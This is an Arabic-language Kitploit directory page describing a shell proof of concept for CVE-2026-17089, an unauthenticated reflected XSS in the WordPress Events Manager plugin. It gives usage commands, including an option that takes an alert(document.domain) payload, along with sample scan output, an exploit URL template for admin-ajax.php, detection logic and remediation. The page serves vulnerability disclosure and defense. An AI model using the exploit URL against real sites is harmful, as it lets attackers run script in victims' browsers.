Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-17089-PoC-pwnVader — Shell PoC لـ CVE-2026-17089، وهو XSS منعكس غير مُصادَق عليه في إضافة WordPress Events Manager (<= 7.4.0.1)؛ يقوم ببصمة الإضافة واختبار انعكاس header_format. | Kitploit
أدوات/GitHubGitHub/pwnvader/cve-2026-17089-poc-pwnvader
ماسحات الثغرات الأمنيةماسحات الثغرات الأمنية للويبتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubpwnvader/cve-2026-17089-poc-pwnvader

CVE-2026-17089-PoC-pwnVader

Shell PoC لـ CVE-2026-17089، وهو XSS منعكس غير مُصادَق عليه في إضافة WordPress Events Manager (<= 7.4.0.1)؛ يقوم ببصمة الإضافة واختبار انعكاس header_format.

عرض المستودع
منذ 10 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-17089 — Events Manager <= 7.4.0.1 — XSS منعكس غير مُصادَق عليه (header_format)

المؤلف: pwnVader · الترخيص: MIT (جذر المستودع)

المكوّنEvents Manager – Calendar, Bookings, Tickets, and more! (إضافة WordPress)
النوعCWE-79 — Cross-Site Scripting منعكس
المتأثر<= 7.4.0.1
تم الإصلاحإصدار لاحق من 7.4.x (تم تطبيق wp_kses_post() في EM_Events::output_grouped())
CVECVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
PoCpoc.sh

الملخص

تُنقّي نقطة دخول الـ shortcode قيمة header_format باستخدام wp_kses()، لكن إجراء AJAX غير المُصادَق عليه search_events_grouped يتجاوز هذا التنقية ويُعيد إخراج القيمة في استجابة HTML (EM_Events::output_grouped()). يمكن لمهاجم عن بُعد غير مُصادَق عليه إنشاء رابط URL يُنفّذ JavaScript عشوائيًا في أصل الموقع المتأثر لأي مستخدم يفتحه (UI:R).

الاستخدام

# Interactive menu
./poc.sh

# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com

# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"

مثال على المخرجات (check)

== CVE-2026-17089 PoC (check) ==
target: https://example.com

[1] Plugin fingerprint (read-only)
  [PASS] Events Manager assets are served (plugin installed)
  [info] Stable tag: 7.1.7
  [PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)

[2] Unauthenticated reflection test (read-only, benign marker)
  [PASS] endpoint reflected header_format UNESCAPED (the raw  is in the response)

== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).

رابط الاستغلال

https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>

منطق الكشف

  1. البصمة: readme.txt (Stable tag) و/أو مسار أصول الإضافة /wp-content/plugins/events-manager/includes/js/events-manager.js.
  2. إرسال علامة حميدة (``) إلى admin-ajax.php?action=search_events_grouped مع ضبط header_format على العلامة والتحقق مما إذا كان الترميز الخام منعكسًا دون تهريب في جسم الاستجابة.

المعالجة

  • تحديث Events Manager إلى الإصدار الحالي (يطبّق الإصلاح wp_kses_post() على header_format داخل دالة العرض، مما يغطي كل المستدعين).
  • حل مؤقت: حظر إجراء AJAX غير المُصادَق عليه search_events_grouped أو تصفية header_format على مستوى WAF/التطبيق.

المراجع

  • NVD — CVE-2026-17089: https://nvd.nist.gov/vuln/detail/CVE-2026-17089
  • GitHub Advisory: https://github.com/advisories/GHSA-gg76-jx66-hjq8

إخلاء المسؤولية

لاختبارات الأمان المُصرّح بها فقط. الـ PoC للقراءة فقط (check) أو يطبع رابط URL (url)؛ لا يتم تعديل أي بيانات.

تنزيل الأداة